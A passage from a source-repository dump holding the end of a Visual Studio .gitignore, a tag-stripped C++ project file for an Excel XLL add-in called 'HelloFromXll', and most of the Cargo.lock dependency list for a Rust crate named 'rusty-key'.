Click-Once directory 170 | publish/ 171 | 172 | # Publish Web Output 173 | *.[Pp]ublish.xml 174 | *.azurePubxml 175 | # Note: Comment the next line if you want to checkin your web deploy settings, 176 | # but database connection strings (with potential passwords) will be unencrypted 177 | *.pubxml 178 | *.publishproj 179 | 180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 181 | # checkin your Azure Web App publish settings, but sensitive information contained 182 | # in these scripts will be unencrypted 183 | PublishScripts/ 184 | 185 | # NuGet Packages 186 | *.nupkg 187 | # NuGet Symbol Packages 188 | *.snupkg 189 | # The packages folder can be ignored because of Package Restore 190 | **/[Pp]ackages/* 191 | # except build/, which is used as an MSBuild target. 192 | !**/[Pp]ackages/build/ 193 | # Uncomment if necessary however generally it will be regenerated when needed 194 | #!**/[Pp]ackages/repositories.config 195 | # NuGet v3's project.json files produces more ignorable files 196 | *.nuget.props 197 | *.nuget.targets 198 | 199 | # Microsoft Azure Build Output 200 | csx/ 201 | *.build.csdef 202 | 203 | # Microsoft Azure Emulator 204 | ecf/ 205 | rcf/ 206 | 207 | # Windows Store app package directories and files 208 | AppPackages/ 209 | BundleArtifacts/ 210 | Package.StoreAssociation.xml 211 | _pkginfo.txt 212 | *.appx 213 | *.appxbundle 214 | *.appxupload 215 | 216 | # Visual Studio cache files 217 | # files ending in .cache can be ignored 218 | *.[Cc]ache 219 | # but keep track of directories ending in .cache 220 | !?*.[Cc]ache/ 221 | 222 | # Others 223 | ClientBin/ 224 | ~$* 225 | *~ 226 | *.dbmdl 227 | *.dbproj.schemaview 228 | *.jfm 229 | *.pfx 230 | *.publishsettings 231 | orleans.codegen.cs 232 | 233 | # Including strong name files can present a security risk 234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 235 | #*.snk 236 | 237 | # Since there are multiple workflows, uncomment next line to ignore bower_components 238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 239 | #bower_components/ 240 | 241 | # RIA/Silverlight projects 242 | Generated_Code/ 243 | 244 | # Backup & report files from converting an old project file 245 | # to a newer Visual Studio version. Backup files are not needed, 246 | # because we have git ;-) 247 | _UpgradeReport_Files/ 248 | Backup*/ 249 | UpgradeLog*.XML 250 | UpgradeLog*.htm 251 | ServiceFabricBackup/ 252 | *.rptproj.bak 253 | 254 | # SQL Server files 255 | *.mdf 256 | *.ldf 257 | *.ndf 258 | 259 | # Business Intelligence projects 260 | *.rdl.data 261 | *.bim.layout 262 | *.bim_*.settings 263 | *.rptproj.rsuser 264 | *- [Bb]ackup.rdl 265 | *- [Bb]ackup ([0-9]).rdl 266 | *- [Bb]ackup ([0-9][0-9]).rdl 267 | 268 | # Microsoft Fakes 269 | FakesAssemblies/ 270 | 271 | # GhostDoc plugin setting file 272 | *.GhostDoc.xml 273 | 274 | # Node.js Tools for Visual Studio 275 | .ntvs_analysis.dat 276 | node_modules/ 277 | 278 | # Visual Studio 6 build log 279 | *.plg 280 | 281 | # Visual Studio 6 workspace options file 282 | *.opt 283 | 284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 285 | *.vbw 286 | 287 | # Visual Studio LightSwitch build output 288 | **/*.HTMLClient/GeneratedArtifacts 289 | **/*.DesktopClient/GeneratedArtifacts 290 | **/*.DesktopClient/ModelManifest.xml 291 | **/*.Server/GeneratedArtifacts 292 | **/*.Server/ModelManifest.xml 293 | _Pvt_Extensions 294 | 295 | # Paket dependency manager 296 | .paket/paket.exe 297 | paket-files/ 298 | 299 | # FAKE - F# Make 300 | .fake/ 301 | 302 | # CodeRush personal settings 303 | .cr/personal 304 | 305 | # Python Tools for Visual Studio (PTVS) 306 | __pycache__/ 307 | *.pyc 308 | 309 | # Cake - Uncomment if you are using it 310 | # tools/** 311 | # !tools/packages.config 312 | 313 | # Tabs Studio 314 | *.tss 315 | 316 | # Telerik's JustMock configuration file 317 | *.jmconfig 318 | 319 | # BizTalk build output 320 | *.btp.cs 321 | *.btm.cs 322 | *.odx.cs 323 | *.xsd.cs 324 | 325 | # OpenCover UI analysis results 326 | OpenCover/ 327 | 328 | # Azure Stream Analytics local run output 329 | ASALocalRun/ 330 | 331 | # MSBuild Binary and Structured Log 332 | *.binlog 333 | 334 | # NVidia Nsight GPU debugger configuration file 335 | *.nvuser 336 | 337 | # MFractors (Xamarin productivity tool) working folder 338 | .mfractor/ 339 | 340 | # Local History for Visual Studio 341 | .localhistory/ 342 | 343 | # BeatPulse healthcheck temp database 344 | healthchecksdb 345 | 346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 347 | MigrationBackup/ 348 | 349 | # Ionide (cross platform F# VS Code tools) working folder 350 | .ionide/ 351 | -------------------------------------------------------------------------------- /HelloFromXll/HelloFromXll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {28f3e363-9810-4c60-aae9-e75306c9b781} 25 | HelloFromXll 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;HELLOFROMXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 90 | true 91 | Use 92 | pch.h 93 | 94 | 95 | Windows 96 | true 97 | false 98 | 99 | 100 | 101 | 102 | Level3 103 | true 104 | true 105 | true 106 | WIN32;NDEBUG;HELLOFROMXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 107 | true 108 | Use 109 | pch.h 110 | 111 | 112 | Windows 113 | true 114 | true 115 | true 116 | false 117 | 118 | 119 | 120 | 121 | Level3 122 | true 123 | _DEBUG;HELLOFROMXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 124 | true 125 | Use 126 | pch.h 127 | 128 | 129 | Windows 130 | true 131 | false 132 | 133 | 134 | 135 | 136 | Level3 137 | true 138 | true 139 | true 140 | NDEBUG;HELLOFROMXLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 141 | true 142 | Use 143 | pch.h 144 | 145 | 146 | Windows 147 | true 148 | true 149 | true 150 | false 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | Create 161 | Create 162 | Create 163 | Create 164 | 165 | 166 | 167 | 168 | 169 | -------------------------------------------------------------------------------- /rusty-key/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "anyhow" 7 | version = "1.0.43" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "28ae2b3dec75a406790005a200b1bd89785afc02517a00ca99ecfe093ee9e6cf" 10 | 11 | [[package]] 12 | name = "atk" 13 | version = "0.9.0" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "812b4911e210bd51b24596244523c856ca749e6223c50a7fbbba3f89ee37c426" 16 | dependencies = [ 17 | "atk-sys", 18 | "bitflags", 19 | "glib", 20 | "glib-sys", 21 | "gobject-sys", 22 | "libc", 23 | ] 24 | 25 | [[package]] 26 | name = "atk-sys" 27 | version = "0.10.0" 28 | source = "registry+https://github.com/rust-lang/crates.io-index" 29 | checksum = "f530e4af131d94cc4fa15c5c9d0348f0ef28bac64ba660b6b2a1cf2605dedfce" 30 | dependencies = [ 31 | "glib-sys", 32 | "gobject-sys", 33 | "libc", 34 | "system-deps", 35 | ] 36 | 37 | [[package]] 38 | name = "autocfg" 39 | version = "1.0.1" 40 | source = "registry+https://github.com/rust-lang/crates.io-index" 41 | checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a" 42 | 43 | [[package]] 44 | name = "bitflags" 45 | version = "1.3.1" 46 | source = "registry+https://github.com/rust-lang/crates.io-index" 47 | checksum = "2da1976d75adbe5fbc88130ecd119529cf1cc6a93ae1546d8696ee66f0d21af1" 48 | 49 | [[package]] 50 | name = "block" 51 | version = "0.1.6" 52 | source = "registry+https://github.com/rust-lang/crates.io-index" 53 | checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a" 54 | 55 | [[package]] 56 | name = "bumpalo" 57 | version = "3.7.0" 58 | source = "registry+https://github.com/rust-lang/crates.io-index" 59 | checksum = "9c59e7af012c713f529e7a3ee57ce9b31ddd858d4b512923602f74608b009631" 60 | 61 | [[package]] 62 | name = "cairo-rs" 63 | version = "0.9.1" 64 | source = "registry+https://github.com/rust-lang/crates.io-index" 65 | checksum = "c5c0f2e047e8ca53d0ff249c54ae047931d7a6ebe05d00af73e0ffeb6e34bdb8" 66 | dependencies = [ 67 | "bitflags", 68 | "cairo-sys-rs", 69 | "glib", 70 | "glib-sys", 71 | "gobject-sys", 72 | "libc", 73 | "thiserror", 74 | ] 75 | 76 | [[package]] 77 | name = "cairo-sys-rs" 78 | version = "0.10.0" 79 | source = "registry+https://github.com/rust-lang/crates.io-index" 80 | checksum = "2ed2639b9ad5f1d6efa76de95558e11339e7318426d84ac4890b86c03e828ca7" 81 | dependencies = [ 82 | "glib-sys", 83 | "libc", 84 | "system-deps", 85 | ] 86 | 87 | [[package]] 88 | name = "cc" 89 | version = "1.0.69" 90 | source = "registry+https://github.com/rust-lang/crates.io-index" 91 | checksum = "e70cc2f62c6ce1868963827bd677764c62d07c3d9a3e1fb1177ee1a9ab199eb2" 92 | 93 | [[package]] 94 | name = "cfg-if" 95 | version = "1.0.0" 96 | source = "registry+https://github.com/rust-lang/crates.io-index" 97 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 98 | 99 | [[package]] 100 | name = "cocoa" 101 | version = "0.24.0" 102 | source = "registry+https://github.com/rust-lang/crates.io-index" 103 | checksum = "6f63902e9223530efb4e26ccd0cf55ec30d592d3b42e21a28defc42a9586e832" 104 | dependencies = [ 105 | "bitflags", 106 | "block", 107 | "cocoa-foundation", 108 | "core-foundation", 109 | "core-graphics", 110 | "foreign-types", 111 | "libc", 112 | "objc", 113 | ] 114 | 115 | [[package]] 116 | name = "cocoa-foundation" 117 | version = "0.1.0" 118 | source = "registry+https://github.com/rust-lang/crates.io-index" 119 | checksum = "7ade49b65d560ca58c403a479bb396592b155c0185eada742ee323d1d68d6318" 120 | dependencies = [ 121 | "bitflags", 122 | "block", 123 | "core-foundation", 124 | "core-graphics-types", 125 | "foreign-types", 126 | "libc", 127 | "objc", 128 | ] 129 | 130 | [[package]] 131 | name = "core-foundation" 132 | version = "0.9.1" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "0a89e2ae426ea83155dccf10c0fa6b1463ef6d5fcb44cee0b224a408fa640a62" 135 | dependencies = [ 136 | "core-foundation-sys", 137 | "libc", 138 | ] 139 | 140 | [[package]] 141 | name = "core-foundation-sys" 142 | version = "0.8.2" 143 | source = "registry+https://github.com/rust-lang/crates.io-index" 144 | checksum = "ea221b5284a47e40033bf9b66f35f984ec0ea2931eb03505246cd27a963f981b" 145 | 146 | [[package]] 147 | name = "core-graphics" 148 | version = "0.22.2" 149 | source = "registry+https://github.com/rust-lang/crates.io-index" 150 | checksum = "269f35f69b542b80e736a20a89a05215c0ce80c2c03c514abb2e318b78379d86" 151 | dependencies = [ 152 | "bitflags", 153 | "core-foundation", 154 | "core-graphics-types", 155 | "foreign-types", 156 | "libc", 157 | ] 158 | 159 | [[package]] 160 | name = "core-graphics-types" 161 | version = "0.1.1" 162 | source = "registry+https://github.com/rust-lang/crates.io-index" 163 | checksum = "3a68b68b3446082644c91ac778bf50cd4104bfb002b5a6a7c44cca5a2c70788b" 164 | dependencies = [ 165 | "bitflags", 166 | "core-foundation", 167 | "foreign-types", 168 | "libc", 169 | ] 170 | 171 | [[package]] 172 | name = "either" 173 | version = "1.6.1" 174 | source = "registry+https://github.com/rust-lang/crates.io-index" 175 | checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457" 176 | 177 | [[package]] 178 | name = "foreign-types" 179 | version = "0.3.2" 180 | source = "registry+https://github.com/rust-lang/crates.io-index" 181 | checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" 182 | dependencies = [ 183 | "foreign-types-shared", 184 | ] 185 | 186 | [[package]] 187 | name = "foreign-types-shared" 188 | version = "0.1.1" 189 | source = "registry+https://github.com/rust-lang/crates.io-index" 190 | checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" 191 | 192 | [[package]] 193 | name = "futures" 194 | version = "0.3.16" 195 | source = "registry+https://github.com/rust-lang/crates.io-index" 196 | checksum = "1adc00f486adfc9ce99f77d717836f0c5aa84965eb0b4f051f4e83f7cab53f8b" 197 | dependencies = [ 198 | "futures-channel", 199 | "futures-core", 200 | "futures-executor", 201 | "futures-io", 202 | "futures-sink", 203 | "futures-task", 204 | "futures-util", 205 | ] 206 | 207 | [[package]] 208 | name = "futures-channel" 209 | version = "0.3.16" 210 | source = "registry+https://github.com/rust-lang/crates.io-index" 211 | checksum = "74ed2411805f6e4e3d9bc904c95d5d423b89b3b25dc0250aa74729de20629ff9" 212 | dependencies = [ 213 | "futures-core", 214 | "futures-sink", 215 | ] 216 | 217 | [[package]] 218 | name = "futures-core" 219 | version = "0.3.16" 220 | source = "registry+https://github.com/rust-lang/crates.io-index" 221 | checksum = "af51b1b4a7fdff033703db39de8802c673eb91855f2e0d47dcf3bf2c0ef01f99" 222 | 223 | [[package]] 224 | name = "futures-executor" 225 | version = "0.3.16" 226 | source = "registry+https://github.com/rust-lang/crates.io-index" 227 | checksum = "4d0d535a57b87e1ae31437b892713aee90cd2d7b0ee48727cd11fc72ef54761c" 228 | dependencies = [ 229 | "futures-core", 230 | "futures-task", 231 | "futures-util", 232 | ] 233 | 234 | [[package]] 235 | name = "futures-io" 236 | version = "0.3.16" 237 | source = "registry+https://github.com/rust-lang/crates.io-index" 238 | checksum = "0b0e06c393068f3a6ef246c75cdca793d6a46347e75286933e5e75fd2fd11582" 239 | 240 | [[package]] 241 | name = "futures-macro" 242 | version = "0.3.16" 243 | source = "registry+https://github.com/rust-lang/crates.io-index" 244 | checksum = "c54913bae956fb8df7f4dc6fc90362aa72e69148e3f39041fbe8742d21e0ac57" 245 | dependencies = [ 246 | "autocfg", 247 | "proc-macro-hack", 248 | "proc-macro2", 249 | "quote", 250 | "syn", 251 | ] 252 | 253 | [[package]] 254 | name = "futures-sink" 255 | version = "0.3.16" 256 | source = "registry+https://github.com/rust-lang/crates.io-index" 257 | checksum = "c0f30aaa67363d119812743aa5f33c201a7a66329f97d1a887022971feea4b53" 258 | 259 | [[package]] 260 | name = "futures-task" 261 | version = "0.3.16" 262 | source = "registry+https://github.com/rust-lang/crates.io-index" 263 | checksum = "bbe54a98670017f3be909561f6ad13e810d9a51f3f061b902062ca3da80799f2" 264 | 265 | [[package]] 266 | name = "futures-util" 267 | version = "0.3.16" 268 | source = "registry+https://github.com/rust-lang/crates.io-index" 269 | checksum = "67eb846bfd58e44a8481a00049e82c43e0ccb5d61f8dc071057cb19249dd4d78" 270 | dependencies = [ 271 | "autocfg", 272 | "futures-channel", 273 | "futures-core", 274 | "futures-io", 275 | "futures-macro", 276 | "futures-sink", 277 | "futures-task", 278 | "memchr", 279 | "pin-project-lite", 280 | "pin-utils", 281 | "proc-macro-hack", 282 | "proc-macro-nested", 283 | "slab", 284 | ] 285 | 286 | [[package]] 287 | name = "gdk" 288 | version = "0.13.2" 289 | source = "registry+https://github.com/rust-lang/crates.io-index" 290 | checksum = "db00839b2a68a7a10af3fa28dfb3febaba3a20c3a9ac2425a33b7df1f84a6b7d" 291 | dependencies = [ 292 | "bitflags", 293 | "cairo-rs", 294 | "cairo-sys-rs", 295 | "gdk-pixbuf", 296 | "gdk-sys", 297 | "gio", 298 | "gio-sys", 299 | "glib", 300 | "glib-sys", 301 | "gobject-sys", 302 | "libc", 303 | "pango", 304 | ] 305 | 306 | [[package]] 307 | name = "gdk-pixbuf" 308 | version = "0.9.0" 309 | source = "registry+https://github.com/rust-lang/crates.io-index" 310 | checksum = "8f6dae3cb99dd49b758b88f0132f8d401108e63ae8edd45f432d42cdff99998a" 311 | dependencies = [ 312 | "gdk-pixbuf-sys", 313 | "gio", 314 | "gio-sys", 315 | "glib", 316 | "glib-sys", 317 | "gobject-sys", 318 | "libc", 319 | ] 320 | 321 | [[package]] 322 | name = "gdk-pixbuf-sys" 323 | version = "0.10.0" 324 | source = "registry+https://github.com/rust-lang/crates.io-index" 325 | checksum = "3bfe468a7f43e97b8d193a762b6c5cf67a7d36cacbc0b9291dbcae24bfea1e8f" 326 | dependencies = [ 327 | "gio-sys", 328 | "glib-sys", 329 | "gobject-sys", 330 | "libc", 331 | "system-deps", 332 | ] 333 | 334 | [[package]] 335 | name = "gdk-sys" 336 | version = "0.10.0" 337 | source = "registry+https://github.com/rust-lang/crates.io-index" 338 | checksum = "0a9653cfc500fd268015b1ac055ddbc3df7a5c9ea3f4ccef147b3957bd140d69" 339 | dependencies = [ 340 | "cairo-sys-rs", 341 | "gdk-pixbuf-sys", 342 | "gio-sys", 343 | "glib-sys", 344 | "gobject-sys", 345 | "libc", 346 | "pango-sys", 347 | "pkg-config", 348 | "system-deps", 349 | ] 350 | 351 | [[package]] 352 | name = "gio" 353 | version = "0.9.1" 354 | source = "registry+https://github.com/rust-lang/crates.io-index" 355 | checksum = "1fb60242bfff700772dae5d9e3a1f7aa2e4ebccf18b89662a16acb2822568561" 356 | dependencies = [ 357 | "bitflags", 358 | "futures", 359 | "futures-channel", 360 | "futures-core", 361 | "futures-io", 362 | "futures-util", 363 | "gio-sys", 364 | "glib", 365 | "glib-sys", 366 | "gobject-sys", 367 | "libc", 368 | "once_cell", 369 | "thiserror", 370 | ] 371 | 372 | [[package]] 373 | name = "gio-sys" 374 | version = "0.10.1" 375 | source = "registry+https://github.com/rust-lang/crates.io-index" 376 | checksum = "5e24fb752f8f5d2cf6bbc2c606fd2bc989c81c5e2fe321ab974d54f8b6344eac" 377 | dependencies = [ 378 | "glib-sys", 379 | "gobject-sys", 380 | "libc", 381 | "system-deps", 382 | "winapi", 383 | ] 384 | 385 | [[package]] 386 | name = "glib" 387 | version = "0.10.3" 388 | source = "registry+https://github.com/rust-lang/crates.io-index" 389 | checksum = "0c685013b7515e668f1b57a165b009d4d28cb139a8a989bbd699c10dad29d0c5" 390 | dependencies = [ 391 | "bitflags", 392 | "futures-channel", 393 | "futures-core", 394 | "futures-executor", 395 | "futures-task", 396 | "futures-util", 397 | "glib-macros", 398 | "glib-sys", 399 | "gobject-sys", 400 | "libc", 401 | "once_cell", 402 | ] 403 | 404 | [[package]] 405 | name = "glib-macros" 406 | version = "0.10.1" 407 | source = "registry+https://github.com/rust-lang/crates.io-index" 408 | checksum = "41486a26d1366a8032b160b59065a59fb528530a46a49f627e7048fb8c064039" 409 | dependencies = [ 410 | "anyhow", 411 | "heck", 412 | "itertools", 413 | "proc-macro-crate", 414 | "proc-macro-error", 415 | "proc-macro2", 416 | "quote", 417 | "syn", 418 | ] 419 | 420 | [[package]] 421 | name = "glib-sys" 422 | version = "0.10.1" 423 | source = "registry+https://github.com/rust-lang/crates.io-index" 424 | checksum = "c7e9b997a66e9a23d073f2b1abb4dbfc3925e0b8952f67efd8d9b6e168e4cdc1" 425 | dependencies = [ 426 | "libc", 427 | "system-deps", 428 | ] 429 | 430 | [[package]] 431 | name = "gobject-sys" 432 | version = "0.10.0" 433 | source = "registry+https://github.com/rust-lang/crates.io-index" 434 | checksum = "952133b60c318a62bf82ee75b93acc7e84028a093e06b9e27981c2b6fe68218c" 435 | dependencies = [ 436 | "glib-sys", 437 | "libc", 438 | "system-deps", 439 | ] 440 | 441 | [[package]] 442 | name = "gtk" 443 | version = "0.9.2" 444 | source = "registry+https://github.com/rust-lang/crates.io-index" 445 | checksum = "2f022f2054072b3af07666341984562c8e626a79daa8be27b955d12d06a5ad6a" 446 | dependencies = [ 447 | "atk", 448 | "bitflags", 449 | "cairo-rs", 450 | "cairo-sys-rs", 451 | "cc", 452 | "gdk", 453 | "gdk-pixbuf", 454 | "gdk-pixbuf-sys", 455 | "gdk-sys", 456 | "gio", 457 | "gio-sys", 458 | "glib", 459 | "glib-sys", 460 | "gobject-sys", 461 | "gtk-sys", 462 | "libc", 463 | "once_cell", 464 | "pango", 465 | "pango-sys", 466 | "pkg-config", 467 | ] 468 | 469 | [[package]] 470 | name = "gtk-sys" 471 | version = "0.10.0" 472 | source = "registry+https://github.com/rust-lang/crates.io-index" 473 | checksum = "89acda6f084863307d948ba64a4b1ef674e8527dddab147ee4cdcc194c880457" 474 | dependencies = [ 475 | "atk-sys", 476 | "cairo-sys-rs", 477 | "gdk-pixbuf-sys", 478 | "gdk-sys", 479 | "gio-sys", 480 | "glib-sys", 481 | "gobject-sys", 482 | "libc", 483 | "pango-sys", 484 | "system-deps", 485 | ] 486 | 487 | [[package]] 488 | name = "heck" 489 | version = "0.3.3" 490 | source = "registry+https://github.com/rust-lang/crates.io-index" 491 | checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" 492 | dependencies = [ 493 | "unicode-segmentation", 494 | ] 495 | 496 | [[package]] 497 | name = "itertools" 498 | version = "0.9.0" 499 | source = "registry+https://github.com/rust-lang/crates.io-index" 500 | checksum = "284f18f85651fe11e8a991b2adb42cb078325c996ed026d994719efcfca1d54b" 501 | dependencies = [ 502 | "either", 503 | ] 504 | 505 | [[package]] 506 | name = "js-sys" 507 | version = "0.3.52" 508 | source = "registry+https://github.com/rust-lang/crates.io-index" 509 | checksum = "ce791b7ca6638aae45be056e068fc756d871eb3b3b10b8efa62d1c9cec616752" 510 | dependencies = [ 511 | "wasm-bindgen", 512 | ] 513 | 514 | [[package]] 515 | name = "lazy_static" 516 | version = "1.4.0" 517 | source = "registry+https://github.com/rust-lang/crates.io-index" 518 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 519 | 520 | [[package]] 521 | name = "libc" 522 | version = "0.2.99" 523 | source = "registry+https://github.com/rust-lang/crates.io-index" 524 | checksum = "a7f823d141fe0a24df1e23b4af4e3c7ba9e5966ec514ea068c93024aa7deb765" 525 | 526 | [[package]] 527 | name = "log" 528 | version = "0.4.14" 529 | source = "registry+https://github.com/rust-lang/crates.io-index" 530 | checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" 531 | dependencies = [ 532 | "cfg-if", 533 | ] 534 | 535 | [[package]] 536 | name = "malloc_buf" 537 | version = "0.0.6" 538 | source = "registry+https://github.com/rust-lang/crates.io-index" 539 | checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb" 540 | dependencies = [ 541 | "libc", 542 | ] 543 | 544 | [[package]] 545 | name = "memchr" 546 | version = "2.4.0" 547 | source = "registry+https://github.com/rust-lang/crates.io-index" 548 | checksum = "b16bd47d9e329435e309c58469fe0791c2d0d1ba96ec0954152a5ae2b04387dc" 549 | 550 | [[package]] 551 | name = "msgbox" 552 | version = "0.6.1" 553 | source = "registry+https://github.com/rust-lang/crates.io-index" 554 | checksum = "fb729d86ed5018bf7080f226842b54d7a59babe70f23fd2bbbeb680aee01cc28" 555 | dependencies = [ 556 | "cocoa", 557 | "glib", 558 | "gtk", 559 | "objc", 560 | "thiserror", 561 | "winapi", 562 | ] 563 | 564 | [[package]] 565 | name = "objc" 566 | version = "0.2.7" 567 | source = "registry+https://github.com/rust-lang/crates.io-index" 568 | checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1" 569 | dependencies = [ 570 | "malloc_buf", 571 | ] 572 | 573 | [[package]] 574 | name = "once_cell" 575 | version = "1.8.0" 576 | source = "registry+https://github.com/rust-lang/crates.io-index" 577 | checksum = "692fcb63b64b1758029e0a96ee63e049ce8c5948587f2f7208df04625e5f6b56" 578 | 579 | [[package]] 580 | name = "pango" 581 | version = "0.9.1" 582 | source = "registry+https://github.com/rust-lang/crates.io-index" 583 | checksum = "9937068580bebd8ced19975938573803273ccbcbd598c58d4906efd4ac87c438" 584 | dependencies = [ 585 | "bitflags", 586 | "glib", 587 | "glib-sys", 588 | "gobject-sys", 589 | "libc", 590 | "once_cell", 591 | "pango-sys", 592 | ] 593 | 594 | [[package]] 595 | name = "pango-sys" 596 | version = "0.10.0" 597 | source = "registry+https://github.com/rust-lang/crates.io-index" 598 | checksum = "24d2650c8b62d116c020abd0cea26a4ed96526afda89b1c4ea567131fdefc890" 599 | dependencies = [ 600 | "glib-sys", 601 | "gobject-sys", 602 | "libc", 603 | "system-deps", 604 | ] 605 | 606 | [[package]] 607 | name = "pin-project-lite" 608 | version = "0.2.7" 609 | source = "registry+https://github.com/rust-lang/crates.io-index" 610 | checksum = "8d31d11c69a6b52a174b42bdc0c30e5e11670f90788b2c471c31c1d17d449443" 611 | 612 | [[package]] 613 | name = "pin-utils" 614 | version = "0.1.0" 615 | source = "registry+https://github.com/rust-lang/crates.io-index" 616 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 617 | 618 | [[package]] 619 | name = "pkg-config" 620 | version = "0.3.19" 621 | source = "registry+https://github.com/rust-lang/crates.io-index" 622 | checksum = "3831453b3449ceb48b6d9c7ad7c96d5ea673e9b470a1dc578c2ce6521230884c" 623 | 624 | [[package]] 625 | name = "proc-macro-crate" 626 | version = "0.1.5" 627 | source = "registry+https://github.com/rust-lang/crates.io-index" 628 | checksum = "1d6ea3c4595b96363c13943497db34af4460fb474a95c43f4446ad341b8c9785" 629 | dependencies = [ 630 | "toml", 631 | ] 632 | 633 | [[package]] 634 | name = "proc-macro-error" 635 | version = "1.0.4" 636 | source = "registry+https://github.com/rust-lang/crates.io-index" 637 | checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" 638 | dependencies = [ 639 | "proc-macro-error-attr", 640 | "proc-macro2", 641 | "quote", 642 | "syn", 643 | "version_check", 644 | ] 645 | 646 | [[package]] 647 | name = "proc-macro-error-attr" 648 | version = "1.0.4" 649 | source = "registry+https://github.com/rust-lang/crates.io-index" 650 | checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" 651 | dependencies = [ 652 | "proc-macro2", 653 | "quote", 654 | "version_check", 655 | ] 656 | 657 | [[package]] 658 | name = "proc-macro-hack" 659 | version = "0.5.19" 660 | source = "registry+https://github.com/rust-lang/crates.io-index" 661 | checksum = "dbf0c48bc1d91375ae5c3cd81e3722dff1abcf81a30960240640d223f59fe0e5" 662 | 663 | [[package]] 664 | name = "proc-macro-nested" 665 | version = "0.1.7" 666 | source = "registry+https://github.com/rust-lang/crates.io-index" 667 | checksum = "bc881b2c22681370c6a780e47af9840ef841837bc98118431d4e1868bd0c1086" 668 | 669 | [[package]] 670 | name = "proc-macro2" 671 | version = "1.0.28" 672 | source = "registry+https://github.com/rust-lang/crates.io-index" 673 | checksum = "5c7ed8b8c7b886ea3ed7dde405212185f423ab44682667c8c6dd14aa1d9f6612" 674 | dependencies = [ 675 | "unicode-xid", 676 | ] 677 | 678 | [[package]] 679 | name = "quote" 680 | version = "1.0.9" 681 | source = "registry+https://github.com/rust-lang/crates.io-index" 682 | checksum = "c3d0b9745dc2debf507c8422de05d7226cc1f0644216dfdfead988f9b1ab32a7" 683 | dependencies = [ 684 | "proc-macro2", 685 | ] 686 | 687 | [[package]] 688 | name = "rusty-key" 689 | version = "0.1.0" 690 | dependencies = [ 691 | "msgbox", 692 | "whoami", 693 | ] 694 | 695 | [[package]] 696 | name = "serde" 697 | version = "1.0.127" 698 | source = "registry+https://github.com/rust-lang/crates.io-index" 699 | checksum = "f03b9878abf6d14e6779d3f24f07b2cfa90352cfec4acc5aab8f1ac7f146fae8" 700 | 701 | [[package]] 702 | name = "slab" 703 | version = "0.4.4" 704 | source = "registry+https://github.com/rust-lang/crates.io-index" 705 | checksum = "c307a32c1c5c437f38c7fd45d753050587732ba8628319fbdf12a7e289ccc590" 706 | 707 | [[package]] 708 | name = "strum" 709 | version = "0.18.0" 710 | source = "registry+https://github.com/rust-lang/crates.io-index" 711 | checksum = "57bd81eb48f4c437cadc685403cad539345bf703d78e63707418431cecd4522b" 712 | 713 | [[package]] 714 | name = "strum_macros" 715 | version = "0.18.0" 716 | source = "registry+https://github.com/rust-lang/crates.io-index" 717 | checksum = "87c85aa3f8ea653bfd3ddf25f7ee357ee4d204731f6aa9ad04002306f6e2774c" 718 | dependencies = [ 719 | "heck", 720 | "proc-macro2", 721 | "quote", 722 | "syn", 723 | ] 724 | 725 | [[package]] 726 | name = "syn" 727 | version = "1.0.74" 728 | source = "registry+https://github.com/rust-lang/crates.io-index" 729 | checksum = "1873d832550d4588c3dbc20f01361ab00bfe741048f71e3fecf145a7cc18b29c" 730 | dependencies = [ 731 | "proc-macro2", 732 | "quote", 733 | "unicode-xid", 734 | 